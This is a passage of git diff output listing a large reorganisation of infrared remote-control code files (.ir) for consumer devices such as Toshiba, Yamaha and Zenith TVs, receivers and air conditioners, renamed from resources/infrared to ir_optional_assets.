.../optional-assets/_CSV-IRDB_/Toshiba/Unknown_TSR-101R/66,187.ir | 0 .../_CSV-IRDB_/Toshiba/Unknown_Toshiba-SE-R0047/69,-1.ir | 0 .../_CSV-IRDB_/Toshiba/Unknown_Toshiba-SE-R0090/69,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Toshiba/Unknown_VC-642T/68,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Toshiba/Unknown_VC-90B/68,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Toshiba/Unknown_VT-11/68,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Toshiba/Unknown_VT-204G/68,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Toshiba/Unknown_VT-209W/68,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Toshiba/Unknown_VT-75F/68,-1.ir | 0 .../_CSV-IRDB_/Toshiba/Unknown_toshiba-RM-A210/42,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Toshiba/VCR/68,-1.ir | 0 .../_CSV-IRDB_/Total Control/Unknown_Control/7,-1.ir | 0 .../_CSV-IRDB_/Total Media In Hand/Unknown_Media/2,189.ir | 0 .../optional-assets/_CSV-IRDB_/Traxis/Unknown_3500/4,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Trust/Unknown_RC-2400/52,15.ir | 0 .../optional-assets/_CSV-IRDB_/Trutech/Unknown_TV/0,1.ir | 0 .../optional-assets/_CSV-IRDB_/Turtle Beach/MP3 Player/1,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Turtle Beach/MP3 Player/1,249.ir | 0 .../_CSV-IRDB_/Turtlebeach/Unknown_Audiotron/1,249.ir | 0 .../optional-assets/_CSV-IRDB_/Twinhan/Unknown_AD-SP200/0,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Twinhan/Unknown_DTV/0,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Typhoon/Unknown_DTV/0,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Typhoon/Unknown_RC-0718-3/96,1.ir | 0 .../optional-assets/_CSV-IRDB_/UEC/Unknown_DVB/24,-1.ir | 0 .../optional-assets/_CSV-IRDB_/UPC/Unknown_SAT/39,-1.ir | 0 .../optional-assets/_CSV-IRDB_/US Electronics/Cable Box/0,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Ultrawave/Unknown_3500PFTA/2,2.ir | 0 .../optional-assets/_CSV-IRDB_/Umax/Unknown_D-701/0,240.ir | 0 .../optional-assets/_CSV-IRDB_/Uniden/Satellite/1,-1.ir | 0 .../_CSV-IRDB_/United/Unknown_United-DVD4057M/0,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Universal/Unknown_001/4,15.ir | 0 .../optional-assets/_CSV-IRDB_/Universal/Unknown_006/56,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Universal/Unknown_089/6,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Universal/Unknown_101/6,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Universal/Unknown_111/135,124.ir | 0 .../optional-assets/_CSV-IRDB_/Universal/Unknown_Knopex/7,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Universal/Unknown_MC-10/5,-1.ir | 0 .../_CSV-IRDB_/Universal/Unknown_Powerhouse/166,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Universal/Unknown_RC/0,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Universal/Unknown_RM-V211T/2,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Universal/Unknown_RZ-55/1,-1.ir | 0 .../_CSV-IRDB_/Universal/Unknown_URC-6012w/2,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Universal/Unknown_cme/7,-1.ir | 0 .../_CSV-IRDB_/Universal/Unknown_lircd.conf/0,-1.ir | 0 .../_CSV-IRDB_/Universal/Unknown_lircd.conf/128,123.ir | 0 .../_CSV-IRDB_/Universal/Unknown_lt3607-aux599/135,124.ir | 0 .../_CSV-IRDB_/Universal/Unknown_testrecord.config/0,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Universal/Unknown_tv/1,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Velodyne/Subwoofer/0,69.ir | 0 .../_CSV-IRDB_/Venturer/Unknown_STB7766G1/66,187.ir | 0 .../_CSV-IRDB_/Venturer/Unknown_boombox/129,129.ir | 0 .../optional-assets/_CSV-IRDB_/Vestel/Unknown_TV/0,-1.ir | 0 .../_CSV-IRDB_/Video7/Unknown_Video7-RC750/32,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Vidikron/Video Projector/0,-1.ir | 0 .../_CSV-IRDB_/ViewSonic/Unknown_98TR7BD-ONT-VSF/131,241.ir | 0 .../_CSV-IRDB_/ViewSonic/Unknown_RC00070P/131,241.ir | 0 .../optional-assets/_CSV-IRDB_/ViewSonic/Unknown_vsnv6/0,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Viewmaster/Unknown_RC-03/73,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Viewsat/Unknown_SAT/32,255.ir | 0 .../optional-assets/_CSV-IRDB_/Viewsat/Unknown_VS2000/32,255.ir | 0 .../_CSV-IRDB_/Virgin-media/Unknown_VIRGINTIVO/10,-1.ir | 0 .../_CSV-IRDB_/Visionetics/Unknown_Cable/134,107.ir | 0 .../optional-assets/_CSV-IRDB_/Vistron/Unknown_DVD-5211/0,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Vistron/Unknown_LTM-3271E/8,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Vivanco/Unknown_DVD/26,73.ir | 0 .../optional-assets/_CSV-IRDB_/Vivanco/Unknown_UR2/10,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Vivanco/Unknown_ur89/0,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Vizio/Unknown_VX37L/4,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Vizio/Unknown_Vizio/4,-1.ir | 0 .../optional-assets/_CSV-IRDB_/VocoPro/Karaoke/32,1.ir | 0 .../optional-assets/_CSV-IRDB_/Voxson/Unknown_PT2222-1/0,-1.ir | 0 .../_CSV-IRDB_/WD/Unknown_HDTVMediaPlayerV1/132,121.ir | 0 .../optional-assets/_CSV-IRDB_/WD/Unknown_TV/132,121.ir | 0 .../_CSV-IRDB_/Westinghouse/Unknown_LVM-47W1/1,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Westinghouse/Unknown_RMT/1,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Wilfa/Unknown_RVC-17/64,175.ir | 0 .../optional-assets/_CSV-IRDB_/XMS/Unknown_XMS503/32,-1.ir | 0 .../optional-assets/_CSV-IRDB_/XORO/Sat/0,191.ir | 0 .../optional-assets/_CSV-IRDB_/XORO/Unknown_DVB/1,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Xantech/Programmer/6,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Xantech/Relay Module/6,-1.ir | 0 .../_CSV-IRDB_/Xlogic/Unknown_XLOGIC-KF8000D/64,63.ir | 0 .../optional-assets/_CSV-IRDB_/Xtreamer/Unknown_Xtreamer/0,-1.ir | 0 .../optional-assets/_CSV-IRDB_/YES/Unknown_YES/132,60.ir | 0 .../optional-assets/_CSV-IRDB_/Yakumo/Unknown_DVD/4,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Yamada/Unknown_DVX-6xxx/4,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Yamada/Unknown_PVD-500/0,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Yamaha/Amplifier/120,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Yamaha/Amplifier/122,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Yamaha/Amplifier/125,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Yamaha/Blu-Ray/124,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Yamaha/CD Changer/121,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Yamaha/CD Changer/122,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Yamaha/CD Jukebox/121,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Yamaha/CD Jukebox/122,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Yamaha/CD Player/121,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Yamaha/CD Player/122,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Yamaha/CD-R/127,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Yamaha/Cassette Tape/122,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Yamaha/Cassette Tape/127,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Yamaha/DAT/128,55.ir | 0 .../optional-assets/_CSV-IRDB_/Yamaha/DSP/120,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Yamaha/DSP/122,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Yamaha/DSP/4,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Yamaha/DSP/6,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Yamaha/DSP/80,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Yamaha/DSP/87,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Yamaha/DVD Changer/4,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Yamaha/DVD Player/124,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Yamaha/DVD Player/176,0.ir | 0 .../optional-assets/_CSV-IRDB_/Yamaha/DVD Player/4,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Yamaha/DVD Pre-amp/120,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Yamaha/DVD Pre-amp/124,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Yamaha/DVD Receiver/120,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Yamaha/DVD Receiver/124,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Yamaha/DVD/124,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Yamaha/DVD/176,0.ir | 0 .../optional-assets/_CSV-IRDB_/Yamaha/DVD/4,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Yamaha/DVR/120,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Yamaha/DVR/124,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Yamaha/DVR/71,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Yamaha/Laser Disc/124,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Yamaha/Mini System/120,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Yamaha/Music Server/128,55.ir | 0 .../optional-assets/_CSV-IRDB_/Yamaha/Plasma/80,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Yamaha/Projector/209,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Yamaha/Projector/240,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Yamaha/Receiver/0,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Yamaha/Receiver/0,0.ir | 0 .../optional-assets/_CSV-IRDB_/Yamaha/Receiver/120,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Yamaha/Receiver/121,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Yamaha/Receiver/122,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Yamaha/Receiver/124,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Yamaha/Receiver/125,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Yamaha/Receiver/126,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Yamaha/Receiver/127,1.ir | 0 .../optional-assets/_CSV-IRDB_/Yamaha/Receiver/15,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Yamaha/Receiver/209,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Yamaha/Receiver/4,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Yamaha/Receiver/6,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Yamaha/Receiver/8,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Yamaha/Sound Projector/120,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Yamaha/Sound Projector/126,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Yamaha/Stereo Receiver/125,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Yamaha/Stereo Receiver/126,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Yamaha/Tuner/122,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Yamaha/Tuner/209,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Yamaha/Unknown_DVD-RC/32,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Yamaha/Unknown_DVD/69,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Yamaha/Unknown_JVCDVD/239,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Yamaha/Unknown_RAV-12/122,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Yamaha/Unknown_RAV14/122,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Yamaha/Unknown_RAV16/122,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Yamaha/Unknown_RAV207/122,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Yamaha/Unknown_RCX-750/122,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Yamaha/Unknown_RCX/122,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Yamaha/Unknown_RCX2/122,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Yamaha/Unknown_RCX660/122,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Yamaha/Unknown_RS-CD5/121,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Yamaha/Unknown_RS-CX600/122,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Yamaha/Unknown_RS-K3/127,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Yamaha/Unknown_RX-450/122,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Yamaha/Unknown_RX-CX800/122,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Yamaha/Unknown_RX-V850/122,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Yamaha/Unknown_TX-1000/209,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Yamaha/Unknown_V499920/122,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Yamaha/Unknown_VI47320/209,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Yamaha/Unknown_VI77760/127,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Yamaha/Unknown_VJ59810/121,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Yamaha/Unknown_VJI5420/121,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Yamaha/Unknown_VK34080/121,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Yamaha/Unknown_VK38010/122,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Yamaha/Unknown_VM70300/122,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Yamaha/Unknown_VP59040/122,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Yamaha/Unknown_VQ95010/121,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Yamaha/Unknown_VR81350/123,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Yamaha/Unknown_VU71330/121,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Yamaha/Unknown_Y-TV-1004/4,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Yamaha/Unknown_YAMAHA/122,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Yamaha/Unknown_av/122,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Yamaha/Unknown_cdx-493/121,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Yamaha/Unknown_rax9/122,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Yamaha/Unknown_receiver/122,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Yamaha/Unknown_vu50620/120,-1.ir | 0 .../_CSV-IRDB_/Yamaha/Unknown_yamaha-amp/122,-1.ir | 0 .../_CSV-IRDB_/Yamaha/Unknown_yamaha-rax7/122,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Yamaha/Video Projector/209,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Yamaha/iPod Dock/127,1.ir | 0 .../optional-assets/_CSV-IRDB_/Yamakawa/DVD Player/32,-1.ir | 0 .../_CSV-IRDB_/Yamakawa/Unknown_dvd285vga/32,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Yuan/Unknown_SmartVDO/128,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Zalman/Unknown_HD160XT/115,154.ir | 0 .../optional-assets/_CSV-IRDB_/Zehnder/Unknown_VCR/3,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Zenith/TV/5,1.ir | 0 .../optional-assets/_CSV-IRDB_/Zenith/TV/7,0.ir | 0 .../optional-assets/_CSV-IRDB_/Zenith/TV/7,1.ir | 0 .../_CSV-IRDB_/Zenith/Unknown_AKB36157102/247,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Zenith/Unknown_C32V37/4,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Zenith/Unknown_TV/4,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Zenith/Unknown_VCR/2,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Zenith/Unknown_ZN5015/26,154.ir | 0 .../optional-assets/_CSV-IRDB_/Zenith/VCR/7,0.ir | 0 .../optional-assets/_CSV-IRDB_/Zenith/Video Projector/5,1.ir | 0 .../optional-assets/_CSV-IRDB_/Zenith/Video Projector/6,0.ir | 0 .../optional-assets/_CSV-IRDB_/Zephir/ZDEBT2/0,191.ir | 0 .../_CSV-IRDB_/Zinwell/Satellite Receiver/64,223.ir | 0 .../optional-assets/_CSV-IRDB_/Zolid/Unknown_ZOL100/0,239.ir | 0 .../optional-assets/_CSV-IRDB_/Zoltrix/Unknown_Zoltrix/0,252.ir | 0 .../optional-assets/_CSV-IRDB_/Zyxel/Unknown_DMA-1000/8,230.ir | 0 .../optional-assets/_CSV-IRDB_/anysee/Unknown_anysee/8,-1.ir | 0 .../_CSV-IRDB_/audiosonic/Unknown_TXCD-1240/129,129.ir | 0 .../optional-assets/_CSV-IRDB_/cenOmax/Unknown_F702/2,255.ir | 0 .../optional-assets/_CSV-IRDB_/daytron/Unknown_daytron/4,-1.ir | 0 .../optional-assets/_CSV-IRDB_/dual/Unknown_dual/68,-1.ir | 0 .../optional-assets/_CSV-IRDB_/eltax/Unknown_corniche/0,246.ir | 0 .../optional-assets/_CSV-IRDB_/fenner/Unknown_fenner/95,0.ir | 0 .../optional-assets/_CSV-IRDB_/huth/Unknown_prof/15,1.ir | 0 .../optional-assets/_CSV-IRDB_/iPort/MP3 Player/1,222.ir | 0 .../optional-assets/_CSV-IRDB_/iPort/iPod/1,222.ir | 0 .../optional-assets/_CSV-IRDB_/iPort/iPort/1,222.ir | 0 .../optional-assets/_CSV-IRDB_/imon/Unknown_MultiMedian/6,-1.ir | 0 .../optional-assets/_CSV-IRDB_/ione/Unknown_remote/0,-1.ir | 0 .../optional-assets/_CSV-IRDB_/italtel/Unknown_italtel/1,-1.ir | 0 .../optional-assets/_CSV-IRDB_/kendo/Unknown_RC-610/134,124.ir | 0 .../optional-assets/_CSV-IRDB_/konig/Unknown_konig/128,99.ir | 0 .../optional-assets/_CSV-IRDB_/kosmos/Unknown_kosmos/8,-1.ir | 0 .../_CSV-IRDB_/mStation/Unknown_mStation/64,175.ir | 0 .../optional-assets/_CSV-IRDB_/media-tech/Unknown_RUMBA/128,-1.ir | 0 .../optional-assets/_CSV-IRDB_/mivar/Unknown_mivar/7,-1.ir | 0 .../optional-assets/_CSV-IRDB_/multiTEC/Unknown_multiTEC/7,-1.ir | 0 .../optional-assets/_CSV-IRDB_/oceanic/Unknown_oceanic/1,-1.ir | 0 .../optional-assets/_CSV-IRDB_/orion/Unknown_RC-CB/128,88.ir | 0 .../optional-assets/_CSV-IRDB_/orion/Unknown_TV-713/0,-1.ir | 0 .../_CSV-IRDB_/orion/Unknown_orion-RC57/128,126.ir | 0 .../optional-assets/_CSV-IRDB_/orion/Unknown_orion/128,123.ir | 0 .../_CSV-IRDB_/palmbutler/Unknown_palmbutler/7,-1.ir | 0 .../optional-assets/_CSV-IRDB_/remotec/Unknown_TV/0,-1.ir | 0 .../optional-assets/_CSV-IRDB_/remotec/Unknown_remotec/0,-1.ir | 0 .../_CSV-IRDB_/remotec/Unknown_remotec1072/5,-1.ir | 0 .../optional-assets/_CSV-IRDB_/remotec/Unknown_rm200/1,-1.ir | 0 .../optional-assets/_CSV-IRDB_/roadstar/Unknown_dvd/136,-1.ir | 0 .../optional-assets/_CSV-IRDB_/rubin/Unknown_rubin/0,-1.ir | 0 .../optional-assets/_CSV-IRDB_/starhub/Unknown_starhub/33,144.ir | 0 .../optional-assets/_CSV-IRDB_/sun/Unknown_sun/26,9.ir | 0 .../optional-assets/_CSV-IRDB_/trio/Unknown_xms007/8,-1.ir | 0 .../optional-assets/_CSV-IRDB_/universum/SAT/97,135.ir | 0 .../optional-assets/_CSV-IRDB_/universum/SAT_SR420/15,-1.ir | 0 .../_CSV-IRDB_/universum/Unknown_universum/0,-1.ir | 0 .../_CSV-IRDB_/universum/Unknown_universum/16,16.ir | 0 .../optional-assets/_CSV-IRDB_/universum/VCR/128,123.ir | 0 .../optional-assets/_CSV-IRDB_/universum/VCR_VR743A/5,-1.ir | 0 .../_CSV-IRDB_/videologic/Unknown_rm201/134,107.ir | 0 .../_CSV-IRDB_/viewmaxpro/Unknown_viewmaxpro/32,64.ir | 0 .../optional-assets/_CSV-IRDB_/xsat/Unknown_xsat/34,-1.ir | 0 3321 files changed, 0 insertions(+), 0 deletions(-) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/ACs/Dreo/Dreo_Heater.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/ACs/Dyson/Dyson_Air_Multiplier.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/ACs/Dyson/Dyson_HP09.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/ACs/GoldenVantage/GoldenVantage_AF510_Fireplace.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/ACs/Homedics/Homedics_Humidifier.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/ACs/JETTools/JETTools_AFS-1000B.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/ACs/Koldfront/Koldfront_WAC12001.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/ACs/Koldfront_wac12001.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/ACs/LG/LG_AC.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/ACs/Lasko/Lasko_Fan.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/ACs/Lasko/Lasko_Fan_Simple.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/ACs/Lasko/Lasko_Heater.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/ACs/Pelonis_PFS40D6ABB.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/ACs/Vornado/Vornado.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/ACs/Whynter/Whynter_AC.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/ACs/Zenith/Zenith_AC.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/Amino_amigo.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/Amz_snd_bar.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/Apple_tv.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/Audio Receivers/Onkyo/Onkyo.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/Audio Receivers/Onkyo/Onkyo_RC627S.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/Audio Receivers/Sony/Sony_MHC-GS300AV.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/BenQ.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/Blu-Ray/LG/LG_BlueRay.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/Blu-Ray/Toshiba/Toshiba_SE-R0398.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/CCTV/BrandUnknown/Szxlcom_cams.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/CCTV/MarshallElectronics/Marshall_CV610.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/Cable Boxes/Amino/Amino_Amigo.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/Cable Boxes/DIRECTV/DIRECTV.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/Cable Boxes/Telus/Telus_OptikTV.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/Cameras/Sony/Nikon.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/Cameras/Sony/Sony.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/Casio-Projector_yt130.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/Consoles/Microsoft/Xbox.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/Converters/RME/RME_ADI-2_DAC_FS.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/Converters/ReadMe.md (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/Cv610_remote.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/Da_lite_proj_scrn.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/Direct_tv.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/Dragonfly_scrn.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/Dreo_heater.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/Dyson_air_multiplier.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/Dyson_hp09.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/Epson.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/Hdmi_switch.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/Head Units/GPX/GPX_CDRadio.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/Head Units/Pioneer/Pioneer_DMH-1770NEX.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/LED Lighting/Amazon/Amazon_LED_Lights.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/LED Lighting/BrandUnknown/44_Button_LED.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/LED Lighting/BrandUnknown/Color_Change_Bulb_Remote.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/LED Lighting/BrandUnknown/DMX_Light.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/LED Lighting/BrandUnknown/LEDStrip.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/LED Lighting/BrandUnknown/LED_44Key.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/LED Lighting/BrandUnknown/Light_Strip.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/LED Lighting/BrandUnknown/Magic_Lighting_Remote.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/LED Lighting/BrandUnknown/Practical_Series_2.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/LED Lighting/MonsterIlluminessence/MonsterIlluminessence_LED.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/LED Lighting/mlambert_rope_light.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/LG_AC.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/LG_BlueRay.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/LG_C1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/Lasko_fan.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/Lasko_heater.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/Miscellaneous/AMI/AMI_Jukebox.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/Miscellaneous/HDMI_Switch.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/Miscellaneous/Hasbro/Furby/Furby.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/Miscellaneous/LG/LG.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/Miscellaneous/LaserX/LaserX_Tag.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/Miscellaneous/ReadMe.md (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/NEC.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/Nikon.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/Old_sonyxbr.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/Panasonic_TC-P50S2.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/Pioneer_1770nex.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/Projectors/BenQ/BenQ.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/Projectors/BrandUnknown/LED Smart Home Theater Projector.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/Projectors/BrandUnknown/README.md (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/Projectors/BrandUnknown/Scrn_innov.ir (100%) rename 